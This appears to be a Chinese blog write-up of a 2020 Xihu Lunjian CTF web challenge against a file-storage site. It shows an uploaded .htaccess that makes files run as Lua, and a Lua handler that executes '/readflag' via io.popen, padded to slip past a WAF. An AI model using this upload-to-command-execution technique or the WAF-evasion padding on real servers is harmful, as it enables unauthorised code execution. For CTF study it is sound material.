2020西湖论剑一道web题[网盘]

题目: 一个网盘系统

图片:



解题手法

  1. 上传".htaccess"文件,改成可以执行lua脚本

内容为:

SetHandler lua-script
  1. 编写lua脚本,而后进行get方式访问
require "string"


--[[
     This is the default method name for Lua handlers, see the optional
     function-name in the LuaMapHandler directive to choose a different
     entry point.
--]]
function handle(r)
    r.content_type = "text/plain"


    if r.method == 'GET' then
        local t = io.popen('/readflag')
        local a = t:read("*all")  --相当于t.read("*all"),读取所有内容
        r:puts(a)  -- 把a内容输出到屏幕上
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    elseif r.method == 'POST' then
        r:puts("Hello Lua World!\n")
        for k, v in pairs( r:parsebody() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    elseif r.method == 'PUT' then
-- use our own Error contents
        r:puts("Unsupported HTTP method " .. r.method)
        r.status = 405
        return apache2.OK
    else
-- use the ErrorDocument
        return 501
    end
    return apache2.OK
end

其实重要的代码就几行,但是代码太少会被服务器waf查掉。只能写多点了。

最后访问上传上去的路径,即可得到flag



posted @ 2021-03-16 06:12  Throokie  阅读(63)  评论(0编辑  收藏  举报